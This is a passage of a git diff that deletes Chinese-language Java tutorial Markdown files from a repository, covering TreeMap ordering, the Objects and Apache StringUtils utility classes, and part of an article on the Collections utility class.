-红黑树,顾名思义,就是节点是红色或者黑色的平衡二叉树,它通过颜色的约束来维持二叉树的平衡,它要求任意一条路径上的黑色节点数目相同,同时还需要满足一些其他特定的条件,如红色节点的父节点必须为黑色节点等。 - -- 1)每个节点都只能是红色或者黑色 -- 2)根节点是黑色 -- 3)每个叶节点(NIL 节点,空节点)是黑色的。 -- 4)如果一个节点是红色的,则它两个子节点都是黑色的。也就是说在一条路径上不能出现相邻的两个红色节点。 -- 5)从任一节点到其每个叶子的所有路径都包含相同数目的黑色节点。 - -由于红黑树的平衡度比AVL树稍低,因此在进行插入和删除操作时需要进行的旋转操作较少,但是在查找操作时效率仍然较高。红黑树适用于读写操作比较均衡的场景。 - -那,关于红黑树,同学们就先了解到这,脑子里有个大概的印象,知道 TreeMap 是个什么玩意。 - -### 01、自然顺序 - -默认情况下,TreeMap 是根据 key 的自然顺序排列的。比如说整数,就是升序,1、2、3、4、5。 - -```java -TreeMap mapInt = new TreeMap<>(); -mapInt.put(3, "沉默王二"); -mapInt.put(2, "沉默王二"); -mapInt.put(1, "沉默王二"); -mapInt.put(5, "沉默王二"); -mapInt.put(4, "沉默王二"); - -System.out.println(mapInt); -``` - -输出结果如下所示: - -``` -{1=沉默王二, 2=沉默王二, 3=沉默王二, 4=沉默王二, 5=沉默王二} -``` - -TreeMap 是怎么做到的呢?想一探究竟,就得上源码了,来看 TreeMap 的 `put()` 方法: - -```java -public V put(K key, V value) { - Entry t = root; // 将根节点赋值给变量t - if (t == null) { // 如果根节点为null,说明TreeMap为空 - compare(key, key); // type (and possibly null) check,检查key的类型是否合法 - root = new Entry<>(key, value, null); // 创建一个新节点作为根节点 - size = 1; // size设置为1 - return null; // 返回null,表示插入成功 - } - int cmp; - Entry parent; - // split comparator and comparable paths,根据使用的比较方法进行查找 - Comparator cpr = comparator; // 获取比较器 - if (cpr != null) { // 如果使用了Comparator - do { - parent = t; // 将当前节点赋值给parent - cmp = cpr.compare(key, t.key); // 使用Comparator比较key和t的键的大小 - if (cmp < 0) // 如果key小于t的键 - t = t.left; // 在t的左子树中查找 - else if (cmp > 0) // 如果key大于t的键 - t = t.right; // 在t的右子树中查找 - else // 如果key等于t的键 - return t.setValue(value); // 直接更新t的值 - } while (t != null); - } - else { // 如果没有使用Comparator - if (key == null) // 如果key为null - throw new NullPointerException(); // 抛出NullPointerException异常 - Comparable k = (Comparable) key; // 将key强制转换为Comparable类型 - do { - parent = t; // 将当前节点赋值给parent - cmp = k.compareTo(t.key); // 使用Comparable比较key和t的键的大小 - if (cmp < 0) // 如果key小于t的键 - t = t.left; // 在t的左子树中查找 - else if (cmp > 0) // 如果key大于t的键 - t = t.right; // 在t的右子树中查找 - else // 如果key等于t的键 - return t.setValue(value); // 直接更新t的值 - } while (t != null); - } - // 如果没有找到相同的键,需要创建一个新节点插入到TreeMap中 - Entry e = new Entry<>(key, value, parent); // 创建一个新节点 - if (cmp < 0) // 如果key小于parent的键 - parent.left = e; // 将e作为parent的左子节点 - else - parent.right = e; // 将e作为parent的右子节点 - fixAfterInsertion(e); // 插入节点后需要进行平衡操作 - size++; // size加1 - return null; // 返回null,表示插入成功 -} -``` - -- 首先定义一个Entry类型的变量t,用于表示当前的根节点; -- 如果t为null,说明TreeMap为空,直接创建一个新的节点作为根节点,并将size设置为1; -- 如果t不为null,说明需要在TreeMap中查找键所对应的节点。因为TreeMap中的元素是有序的,所以可以使用二分查找的方式来查找节点; -- 如果TreeMap中使用了Comparator来进行排序,则使用Comparator进行比较,否则使用Comparable进行比较。如果查找到了相同的键,则直接更新键所对应的值; -- 如果没有查找到相同的键,则创建一个新的节点,并将其插入到TreeMap中。然后使用fixAfterInsertion()方法来修正插入节点后的平衡状态; -- 最后将TreeMap的size加1,然后返回null。如果更新了键所对应的值,则返回原先的值。 - -注意 `cmp = k.compareTo(t.key)` 这行代码,就是用来进行 key 比较的,由于此时 key 是 String,所以就会调用 String 类的 `compareTo()` 方法进行比较。 - -```java -public int compareTo(String anotherString) { - // 获取当前字符串和另一个字符串的长度 - int len1 = value.length; - int len2 = anotherString.value.length; - // 取两个字符串长度的较短者作为比较的上限 - int lim = Math.min(len1, len2); - // 获取当前字符串和另一个字符串的字符数组 - char v1[] = value; - char v2[] = anotherString.value; - - int k = 0; - // 对两个字符串的每个字符进行比较 - while (k < lim) { - char c1 = v1[k]; - char c2 = v2[k]; - // 如果两个字符不相等,返回它们的差值 - if (c1 != c2) { - return c1 - c2; - } - k++; - } - // 如果两个字符串前面的字符都相等,返回它们长度的差值 - return len1 - len2; -} -``` - -来看下面的示例。 - -```java -TreeMap mapString = new TreeMap<>(); -mapString.put("c", "沉默王二"); -mapString.put("b", "沉默王二"); -mapString.put("a", "沉默王二"); -mapString.put("e", "沉默王二"); -mapString.put("d", "沉默王二"); - -System.out.println(mapString); -``` - -输出结果如下所示: - -``` -{a=沉默王二, b=沉默王二, c=沉默王二, d=沉默王二, e=沉默王二} -``` - -从结果可以看得出,是按照字母的升序进行排序的。 - -### 02、自定义排序 - -如果自然顺序不满足,那就可以在声明 TreeMap 对象的时候指定排序规则。 - -```java -TreeMap mapIntReverse = new TreeMap<>(Comparator.reverseOrder()); -mapIntReverse.put(3, "沉默王二"); -mapIntReverse.put(2, "沉默王二"); -mapIntReverse.put(1, "沉默王二"); -mapIntReverse.put(5, "沉默王二"); -mapIntReverse.put(4, "沉默王二"); - -System.out.println(mapIntReverse); -``` - -TreeMap 提供了可以指定排序规则的构造方法: - -```java -public TreeMap(Comparator comparator) { -    this.comparator = comparator; -} -``` - -`Comparator.reverseOrder()` 返回的是 Collections.ReverseComparator 对象,就是用来反转顺序的,非常方便。 - -```java -private static class ReverseComparator - implements Comparator>, Serializable { - // 单例模式,用于表示逆序比较器 - static final ReverseComparator REVERSE_ORDER - = new ReverseComparator(); - - // 实现比较方法,对两个实现了Comparable接口的对象进行逆序比较 - public int compare(Comparable c1, Comparable c2) { - return c2.compareTo(c1); // 调用c2的compareTo()方法,以c1为参数,实现逆序比较 - } - - // 反序列化时,返回Collections.reverseOrder(),保证单例模式 - private Object readResolve() { - return Collections.reverseOrder(); - } - - // 返回正序比较器 - @Override - public Comparator> reversed() { - return Comparator.naturalOrder(); - } -} -``` - -所以,输出结果如下所示: - -``` -{5=沉默王二, 4=沉默王二, 3=沉默王二, 2=沉默王二, 1=沉默王二} -``` - -HashMap 是无序的,插入的顺序随着元素的增加会不停地变动。但 TreeMap 能够至始至终按照指定的顺序排列,这对于需要自定义排序的场景,实在是太有用了! - -### 03、排序的好处 - -既然 TreeMap 的元素是经过排序的,那找出最大的那个,最小的那个,或者找出所有大于或者小于某个值的键来说,就方便多了。 - -```java -Integer highestKey = mapInt.lastKey(); -Integer lowestKey = mapInt.firstKey(); -Set keysLessThan3 = mapInt.headMap(3).keySet(); -Set keysGreaterThanEqTo3 = mapInt.tailMap(3).keySet(); - -System.out.println(highestKey); -System.out.println(lowestKey); - -System.out.println(keysLessThan3); -System.out.println(keysGreaterThanEqTo3); -``` - -TreeMap 考虑得很周全,恰好就提供了 `lastKey()`、`firstKey()` 这样获取最后一个 key 和第一个 key 的方法。 - -`headMap()` 获取的是到指定 key 之前的 key;`tailMap()` 获取的是指定 key 之后的 key(包括指定 key)。 - -来看一下输出结果: - -``` -5 -1 -[1, 2] -[3, 4, 5] -``` - -再来看一下例子: - -```java -TreeMap treeMap = new TreeMap<>(); -treeMap.put(1, "value1"); -treeMap.put(2, "value2"); -treeMap.put(3, "value3"); -treeMap.put(4, "value4"); -treeMap.put(5, "value5"); - -// headMap示例,获取小于3的键值对 -Map headMap = treeMap.headMap(3); -System.out.println(headMap); // 输出 {1=value1, 2=value2} - -// tailMap示例,获取大于等于4的键值对 -Map tailMap = treeMap.tailMap(4); -System.out.println(tailMap); // 输出 {4=value4, 5=value5} - -// subMap示例,获取大于等于2且小于4的键值对 -Map subMap = treeMap.subMap(2, 4); -System.out.println(subMap); // 输出 {2=value2, 3=value3} -``` - -headMap、tailMap、subMap方法分别获取了小于3、大于等于4、大于等于2且小于4的键值对。 - - -### 04、如何选择 Map - -在学习 TreeMap 之前,我们已经学习了 [HashMap](https://javabetter.cn/collection/hashmap.html) 和 [LinkedHashMap](https://javabetter.cn/collection/linkedhashmap.html) ,那如何从它们三个中间选择呢? - -需要考虑以下因素: - -- 是否需要按照键的自然顺序或者自定义顺序进行排序。如果需要按照键排序,则可以使用 TreeMap;如果不需要排序,则可以使用 HashMap 或 LinkedHashMap。 -- 是否需要保持插入顺序。如果需要保持插入顺序,则可以使用 LinkedHashMap;如果不需要保持插入顺序,则可以使用 TreeMap 或 HashMap。 -- 是否需要高效的查找。如果需要高效的查找,则可以使用 LinkedHashMap 或 HashMap,因为它们的查找操作的时间复杂度为 O(1),而是 TreeMap 是 O(log n)。 - ->LinkedHashMap 内部使用哈希表来存储键值对,并使用一个双向链表来维护插入顺序,但查找操作只需要在哈希表中进行,与链表无关,所以时间复杂度为 O(1) - -来个表格吧,一目了然。 - -特性| TreeMap| HashMap| LinkedHashMap ----|---|---|---| -排序| 支持| 不支持| 不支持 -插入顺序| 不保证| 不保证| 保证 -查找效率| O(log n)| O(1)| O(1) -空间占用| 通常较大| 通常较小| 通常较大 -适用场景| 需要排序的场景| 无需排序的场景| 需要保持插入顺序 - -好了,下课,关于 TreeMap 我们就讲到这里吧,希望同学们都能对 TreeMap 有一个清晰的认识。我们下节课见~ - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - diff --git a/docs/src/common-tool/Objects.md b/docs/src/common-tool/Objects.md deleted file mode 100644 index 4160735dac..0000000000 --- a/docs/src/common-tool/Objects.md +++ /dev/null @@ -1,211 +0,0 @@ ---- -title: Objects:专为操作Java对象而生的工具类 -shortTitle: Objects工具类 -category: - - Java核心 -tag: - - 常用工具类 -description: 本文详细介绍了Java中的Objects工具类,阐述了它在处理Java对象操作中的实际应用和优势。通过具体的代码示例,展示了如何使用Objects类解决对象比较、判空、生成hashCode等常见问题。学习Objects工具类的技巧,让您在Java编程中更加高效地处理对象操作,提高开发效率。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,Objects,java objects ---- - - -Java 的 Objects 类是一个实用工具类,包含了一系列静态方法,用于处理对象。它位于 java.util 包中,自 Java 7 引入。Objects 类的主要目的是降低代码中的[空指针异常](https://javabetter.cn/exception/npe.html) (NullPointerException) 风险,同时提供一些非常实用的方法供我们使用。 - -### 对象判空 - -在 Java 中,万物皆对象,对象的判空可以说无处不在。Objects 的 `isNull` 方法用于判断对象是否为空,而 `nonNull` 方法判断对象是否不为空。例如: - -```java -Integer integer = new Integer(1); - -if (Objects.isNull(integer)) { - System.out.println("对象为空"); -} - -if (Objects.nonNull(integer)) { - System.out.println("对象不为空"); -} -``` - -### 对象为空时抛异常 - -如果我们想在对象为空时,抛出[空指针异常](https://javabetter.cn/exception/npe.html),可以使用 Objects 的 `requireNonNull` 方法。例如: - -```java -Integer integer1 = new Integer(128); - -Objects.requireNonNull(integer1); -Objects.requireNonNull(integer1, "参数不能为空"); -Objects.requireNonNull(integer1, () -> "参数不能为空"); -``` - -### 判断两个对象是否相等 - -我们经常需要判断两个对象是否相等,Objects 给我们提供了 `equals` 方法,能非常方便的实现: - -```java -Integer integer1 = new Integer(1); -Integer integer2 = new Integer(1); - -System.out.println(Objects.equals(integer1, integer2)); -``` - -执行结果: - -```java -true -``` - -但使用这个方法有坑,比如例子改成: - -```java -Integer integer1 = new Integer(1); -Long integer2 = new Long(1); - -System.out.println(Objects.equals(integer1, integer2)); -``` - -执行结果: - -```java -false -``` - -不过,需要注意的是,虽然 `Objects.equals()` 方法本身是用来避免坑的,因为它可以处理 null 值的比较,而不会抛出空指针异常。然而,这并不意味着它没有任何潜在问题。实际上,`Objects.equals()` 方法的一个潜在问题是依赖于被比较对象的 `equals()` 方法实现。 - -当两个对象的类没有正确实现 `equals()` 方法时,`Objects.equals()` 方法可能会产生不符合预期的结果。举个例子: - -```java -public class ObjectsDemo1 { - public static void main(String[] args) { - Person person1 = new Person("沉默王二", 18); - Person person2 = new Person("沉默王二", 18); - - System.out.println(Objects.equals(person1, person2)); // 输出:false - } -} -class Person { - String name; - int age; - - Person(String name, int age) { - this.name = name; - this.age = age; - } -} -``` - -在上面的例子中,我们创建了一个名为 Person 的类,但是没有重写 `equals()` 方法。然后我们创建了两个具有相同属性的 Person 对象,并使用 `Objects.equals()` 方法比较它们。尽管这两个对象的属性是相同的,但输出结果却是 false。这是因为 `Objects.equals()` 方法依赖于对象的 `equals()` 方法,而在这个例子中,Person 类没有正确地实现 `equals()` 方法,所以默认情况下会使用 Object 类的 `equals()` 方法,它只比较对象引用是否相同。 - -为了解决这个问题,我们需要在 Person 类中重写 `equals()` 方法: - -```java -@Override -public boolean equals(Object obj) { - if (this == obj) { - return true; - } - if (obj == null || getClass() != obj.getClass()) { - return false; - } - Person person = (Person) obj; - return age == person.age && Objects.equals(name, person.name); -} -``` - -现在,当我们使用 `Objects.equals()` 方法比较两个具有相同属性的 Person 对象时,输出将是 true,符合我们的预期。 - -### 获取对象的hashCode - -如果你想获取某个对象的 hashCode,可以使用 Objects 的 `hashCode` 方法。例如: - -```java -String str = new String("沉默王二"); -System.out.println(Objects.hashCode(str)); -``` - -执行结果: - -```java -867758096 -``` - -### 比较两个对象 - -`compare()` 方法用于比较两个对象,通常用于自定义排序。它需要一个[比较器 (Comparator) ](https://javabetter.cn/basic-extra-meal/comparable-omparator.html)作为参数。如果比较器为 null,则使用自然顺序。以下是一个 `compare()` 方法的示例: - -```java -class ObjectsCompareDemo { - public static void main(String[] args) { - PersonCompare person1 = new PersonCompare("itwanger", 30); - PersonCompare person2 = new PersonCompare("chenqingyang", 25); - - Comparator ageComparator = Comparator.comparingInt(p -> p.age); - int ageComparisonResult = Objects.compare(person1, person2, ageComparator); - System.out.println("年龄排序: " + ageComparisonResult); // 输出:1(表示 person1 的 age 在 person2 之后) - } -} - -class PersonCompare { - String name; - int age; - - PersonCompare(String name, int age) { - this.name = name; - this.age = age; - } -} -``` - -### 比较两个数组 - -`deepEquals()` 用于比较两个[数组类型](https://javabetter.cn/array/array.html)的对象,当对象是非数组的话,行为和 `equals()` 一致。 - -```java -int[] array1 = {1, 2, 3}; -int[] array2 = {1, 2, 3}; -int[] array3 = {1, 2, 4}; - -System.out.println(Objects.deepEquals(array1, array2)); // 输出:true(因为 array1 和 array2 的内容相同) -System.out.println(Objects.deepEquals(array1, array3)); // 输出:false(因为 array1 和 array3 的内容不同) - -// 对于非数组对象,deepEquals() 的行为与 equals() 相同 -String string1 = "hello"; -String string2 = "hello"; -String string3 = "world"; - -System.out.println(Objects.deepEquals(string1, string2)); // 输出:true(因为 string1 和 string2 相同) -System.out.println(Objects.deepEquals(string1, string3)); // 输出:false(因为 string1 和 string3 不同) -``` - -再来个[二维数组](https://javabetter.cn/array/double-array.html)的: - -```java -String[][] nestedArray1 = {{"A", "B"}, {"C", "D"}}; -String[][] nestedArray2 = {{"A", "B"}, {"C", "D"}}; -String[][] nestedArray3 = {{"A", "B"}, {"C", "E"}}; - -System.out.println(Objects.deepEquals(nestedArray1, nestedArray2)); // 输出:true (因为嵌套数组元素相同) -System.out.println(Objects.deepEquals(nestedArray1, nestedArray3)); // 输出:false (因为嵌套数组元素不同) -``` - -### 小结 - -除了上面提到的这些方法,Objects 还提供了一些其他的方法,比如说 toString,感兴趣的话可以试一下。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/Objects-83489814-9784-4274-841a-27ee75c046ac.jpg) - -总之,Objects 类提供的这些方法在许多情况下还是非常有用得,可以简化代码并减少出错的可能性。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/common-tool/StringUtils.md b/docs/src/common-tool/StringUtils.md deleted file mode 100644 index 9c6305a547..0000000000 --- a/docs/src/common-tool/StringUtils.md +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: Apache StringUtils:专为Java字符串而生的工具类 -shortTitle: StringUtils工具类 -category: - - Java核心 -tag: - - 常用工具类 -description: 本文详细介绍了Apache StringUtils工具类,深入分析了它在Java字符串操作中的实际应用和优势。通过具体的代码示例,展示了如何使用StringUtils类处理字符串的常见问题,如判断空白、连接、替换等。掌握Apache StringUtils工具类,让您在Java编程中轻松应对各种字符串操作,提高开发效率。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,Apache StringUtils,java StringUtils ---- - - -`字符串`([String](https://javabetter.cn/string/immutable.html))在我们的日常工作中,用得非常非常非常多。 - -在我们的代码中经常需要对字符串判空,截取字符串、转换大小写、[分隔字符串](https://javabetter.cn/string/split.html)、[比较字符串](https://javabetter.cn/string/equals.html)、去掉多余空格、[拼接字符串](https://javabetter.cn/string/join.html)、使用正则表达式等等。 - -如果只用 String 类提供的那些方法,我们需要手写大量的额外代码,不然容易出现各种异常。 - -现在有个好消息是:`org.apache.commons.lang3`包下的`StringUtils`工具类,给我们提供了非常丰富的选择。 - -Maven 坐标: - -``` - - org.apache.commons - commons-lang3 - 3.12.0 - -``` - -StringUtils 提供了非常多实用的方法,大概有下图的四页到五页,我只截了两页,实在是太多了。 - -![](https://cdn.paicoding.com/stutymore/StringUtils-20230330111122.png) - -接下来,我们来拿一些常用的方法举例说明。 - -### 字符串判空 - -其实空字符串,不只是 null 一种,还有""," ","null"等等,多种情况。 - -StringUtils 给我们提供了多个判空的静态方法,例如: - -```java -String str1 = null; -String str2 = ""; -String str3 = " "; -String str4 = "abc"; -System.out.println(StringUtils.isEmpty(str1)); -System.out.println(StringUtils.isEmpty(str2)); -System.out.println(StringUtils.isEmpty(str3)); -System.out.println(StringUtils.isEmpty(str4)); -System.out.println("====="); -System.out.println(StringUtils.isNotEmpty(str1)); -System.out.println(StringUtils.isNotEmpty(str2)); -System.out.println(StringUtils.isNotEmpty(str3)); -System.out.println(StringUtils.isNotEmpty(str4)); -System.out.println("====="); -System.out.println(StringUtils.isBlank(str1)); -System.out.println(StringUtils.isBlank(str2)); -System.out.println(StringUtils.isBlank(str3)); -System.out.println(StringUtils.isBlank(str4)); -System.out.println("====="); -System.out.println(StringUtils.isNotBlank(str1)); -System.out.println(StringUtils.isNotBlank(str2)); -System.out.println(StringUtils.isNotBlank(str3)); -System.out.println(StringUtils.isNotBlank(str4)); -``` - -执行结果: - -```java -true -true -false -false -===== -false -false -true -true -===== -true -true -true -false -===== -false -false -false -true -``` - -示例中的:`isEmpty`、`isNotEmpty`、`isBlank`和`isNotBlank`,这 4 个判空方法你们可以根据实际情况使用。 - -优先推荐使用`isBlank`和`isNotBlank`方法,因为它会把`" "`也考虑进去。 - -### 分隔字符串 - -分隔字符串是常见需求,如果直接使用 String 类的 split 方法,就可能会出现空指针异常。 - -```java -String str1 = null; -System.out.println(StringUtils.split(str1,",")); -System.out.println(str1.split(",")); -``` - -执行结果: - -```java -null -Exception in thread "main" java.lang.NullPointerException -\tat com.sue.jump.service.test1.UtilTest.main(UtilTest.java:21) -``` - -使用 StringUtils 的 split 方法会返回 null,而使用 String 的 split 方法会报指针异常。 - -### 判断是否纯数字 - -给定一个字符串,判断它是否为纯数字,可以使用`isNumeric`方法。例如: - -```java -String str1 = "123"; -String str2 = "123q"; -String str3 = "0.33"; -System.out.println(StringUtils.isNumeric(str1)); -System.out.println(StringUtils.isNumeric(str2)); -System.out.println(StringUtils.isNumeric(str3)); -``` - -执行结果: - -```java -true -false -false -``` - -### 将集合拼接成字符串 - -有时候,我们需要将某个集合的内容,拼接成一个字符串,然后输出,这时可以使用`join`方法。例如: - -```java -List list = Lists.newArrayList("a", "b", "c"); -List list2 = Lists.newArrayList(1, 2, 3); -System.out.println(StringUtils.join(list, ",")); -System.out.println(StringUtils.join(list2, " ")); -``` - -执行结果: - -```java -a,b,c -1 2 3 -``` - -### 其他方法 - -这里再列举一些,其他的方法可以自己去研究一下。 - -- `trim(String str)`:去除字符串首尾的空白字符。 -- `trimToEmpty(String str)`:去除字符串首尾的空白字符,如果字符串为 null,则返回空字符串。 -- `trimToNull(String str)`:去除字符串首尾的空白字符,如果结果为空字符串,则返回 null。 -- `equals(String str1, String str2)`:比较两个字符串是否相等。 -- `equalsIgnoreCase(String str1, String str2)`:比较两个字符串是否相等,忽略大小写。 -- `startsWith(String str, String prefix)`:检查字符串是否以指定的前缀开头。 -- `endsWith(String str, String suffix)`:检查字符串是否以指定的后缀结尾。 -- `contains(String str, CharSequence seq)`:检查字符串是否包含指定的字符序列。 -- `indexOf(String str, CharSequence seq)`:返回指定字符序列在字符串中首次出现的索引,如果没有找到,则返回 -1。 -- `lastIndexOf(String str, CharSequence seq)`:返回指定字符序列在字符串中最后一次出现的索引,如果没有找到,则返回 -1。 -- `substring(String str, int start, int end)`:截取字符串中指定范围的子串。 -- `replace(String str, String searchString, String replacement)`:替换字符串中所有出现的搜索字符串为指定的替换字符串。 -- `replaceAll(String str, String regex, String replacement)`:使用正则表达式替换字符串中所有匹配的部分。 -- `join(Iterable iterable, String separator)`:使用指定的分隔符将可迭代对象中的元素连接为一个字符串。 -- `split(String str, String separator)`:使用指定的分隔符将字符串分割为一个字符串数组。 -- `capitalize(String str)`:将字符串的第一个字符转换为大写。 -- `uncapitalize(String str)`:将字符串的第一个字符转换为小写。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/common-tool/collections.md b/docs/src/common-tool/collections.md deleted file mode 100644 index 0285066651..0000000000 --- a/docs/src/common-tool/collections.md +++ /dev/null @@ -1,359 +0,0 @@ ---- -title: Java Collections:专为集合框架而生的工具类 -shortTitle: Collections工具类 -category: - - Java核心 -tag: - - 常用工具类 -description: 本文详细介绍了Java中的Collections工具类,阐述了它在集合操作中的实际应用和优势。通过具体的代码示例,展示了如何使用Collections类处理集合的排序、查找、反转等常见问题。掌握Collections工具类的技巧,让您在Java编程中轻松应对各种集合操作,提高开发效率。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,Collections,集合框架,java Collections ---- - - -Collections 是 JDK 提供的一个工具类,位于 java.util 包下,提供了一系列的静态方法,方便我们对集合进行各种骚操作,算是集合框架的一个大管家。 - -还记得我们前面讲过的 [Arrays 工具类](https://javabetter.cn/common-tool/arrays.html)吗?可以回去温习下。 - -Collections 的用法很简单,在 Intellij IDEA 中敲完 `Collections.` 之后就可以看到它提供的方法了,大致看一下方法名和参数就能知道这个方法是干嘛的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/collections-01.png) - -为了节省大家的学习时间,我将这些方法做了一些分类,并列举了一些简单的例子。 - -### 01、排序操作 - -- `reverse(List list)`:反转顺序 -- `shuffle(List list)`:洗牌,将顺序打乱 -- `sort(List list)`:自然升序 -- `sort(List list, Comparator c)`:按照自定义的比较器排序 -- `swap(List list, int i, int j)`:将 i 和 j 位置的元素交换位置 - -来看例子: - -```java -List list = new ArrayList<>(); -list.add("沉默王二"); -list.add("沉默王三"); -list.add("沉默王四"); -list.add("沉默王五"); -list.add("沉默王六"); - -System.out.println("原始顺序:" + list); - -// 反转 -Collections.reverse(list); -System.out.println("反转后:" + list); - -// 洗牌 -Collections.shuffle(list); -System.out.println("洗牌后:" + list); - -// 自然升序 -Collections.sort(list); -System.out.println("自然升序后:" + list); - -// 交换 -Collections.swap(list, 2,4); -System.out.println("交换后:" + list); -``` - -输出后: - -``` -原始顺序:[沉默王二, 沉默王三, 沉默王四, 沉默王五, 沉默王六] -反转后:[沉默王六, 沉默王五, 沉默王四, 沉默王三, 沉默王二] -洗牌后:[沉默王五, 沉默王二, 沉默王六, 沉默王三, 沉默王四] -自然升序后:[沉默王三, 沉默王二, 沉默王五, 沉默王六, 沉默王四] -交换后:[沉默王三, 沉默王二, 沉默王四, 沉默王六, 沉默王五] -``` - -### 02、查找操作 - -- `binarySearch(List list, Object key)`:二分查找法,前提是 List 已经排序过了 -- `max(Collection coll)`:返回最大元素 -- `max(Collection coll, Comparator comp)`:根据自定义比较器,返回最大元素 -- `min(Collection coll)`:返回最小元素 -- `min(Collection coll, Comparator comp)`:根据自定义比较器,返回最小元素 -- `fill(List list, Object obj)`:使用指定对象填充 -- `frequency(Collection c, Object o)`:返回指定对象出现的次数 - -来看例子: - -```java -System.out.println("最大元素:" + Collections.max(list)); -System.out.println("最小元素:" + Collections.min(list)); -System.out.println("出现的次数:" + Collections.frequency(list, "沉默王二")); - -// 没有排序直接调用二分查找,结果是不确定的 -System.out.println("排序前的二分查找结果:" + Collections.binarySearch(list, "沉默王二")); -Collections.sort(list); -// 排序后,查找结果和预期一致 -System.out.println("排序后的二分查找结果:" + Collections.binarySearch(list, "沉默王二")); - -Collections.fill(list, "沉默王八"); -System.out.println("填充后的结果:" + list); -``` - -输出后: - -``` -原始顺序:[沉默王二, 沉默王三, 沉默王四, 沉默王五, 沉默王六] -最大元素:沉默王四 -最小元素:沉默王三 -出现的次数:1 -排序前的二分查找结果:0 -排序后的二分查找结果:1 -填充后的结果:[沉默王八, 沉默王八, 沉默王八, 沉默王八, 沉默王八] -``` - -### 03、同步控制 - -[HashMap 是线程不安全](https://javabetter.cn/collection/hashmap.html#_04%E3%80%81%E7%BA%BF%E7%A8%8B%E4%B8%8D%E5%AE%89%E5%85%A8)的,这个我们前面讲到了。那其实 ArrayList 也是线程不安全的,没法在多线程环境下使用,那 Collections 工具类中提供了多个 synchronizedXxx 方法,这些方法会返回一个同步的对象,从而解决多线程中访问集合时的安全问题。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/collections-02.png) - -使用起来也非常的简单: - -```java -SynchronizedList synchronizedList = Collections.synchronizedList(list); -``` - -看一眼 SynchronizedList 的源码就明白了,不过是在方法里面使用 [synchronized 关键字](https://javabetter.cn/thread/synchronized-1.html)加了一层锁而已。 - -```java -static class SynchronizedList - extends SynchronizedCollection - implements List { - private static final long serialVersionUID = -7754090372962971524L; - - final List list; - - SynchronizedList(List list) { - super(list); // 调用父类 SynchronizedCollection 的构造方法,传入 list - this.list = list; // 初始化成员变量 list - } - - // 获取指定索引处的元素 - public E get(int index) { - synchronized (mutex) {return list.get(index);} // 加锁,调用 list 的 get 方法获取元素 - } - - // 在指定索引处插入指定元素 - public void add(int index, E element) { - synchronized (mutex) {list.add(index, element);} // 加锁,调用 list 的 add 方法插入元素 - } - - // 移除指定索引处的元素 - public E remove(int index) { - synchronized (mutex) {return list.remove(index);} // 加锁,调用 list 的 remove 方法移除元素 - } -} -``` - -那这样的话,其实效率和那些直接在方法上加 synchronized 关键字的 [Vector、Hashtable](https://javabetter.cn/collection/gailan.html) 差不多(JDK 1.0 时期就有了),而这些集合类基本上已经废弃了,几乎不怎么用。 - -```java -public class Vector - extends AbstractList - implements List, RandomAccess, Cloneable, java.io.Serializable -{ - - // 获取指定索引处的元素 - public synchronized E get(int index) { - if (index >= elementCount) // 如果索引超出了列表的大小,则抛出数组下标越界异常 - throw new ArrayIndexOutOfBoundsException(index); - - return elementData(index); // 返回指定索引处的元素 - } - - // 移除指定索引处的元素 - public synchronized E remove(int index) { - modCount++; // 修改计数器,标识列表已被修改 - if (index >= elementCount) // 如果索引超出了列表的大小,则抛出数组下标越界异常 - throw new ArrayIndexOutOfBoundsException(index); - E oldValue = elementData(index); // 获取指定索引处的元素 - - int numMoved = elementCount - index - 1; // 计算需要移动的元素个数 - if (numMoved > 0) // 如果需要移动元素 - System.arraycopy(elementData, index+1, elementData, index, - numMoved); // 将数组中的元素向左移动一位 - elementData[--elementCount] = null; // 将最后一个元素设置为 null,等待垃圾回收 - - return oldValue; // 返回被移除的元素 - } -} -``` - -正确的做法是使用并发包下的 [CopyOnWriteArrayList](https://javabetter.cn/thread/CopyOnWriteArrayList.html)、[ConcurrentHashMap](https://javabetter.cn/thread/ConcurrentHashMap.html)。这些我们放到并发编程时再讲。 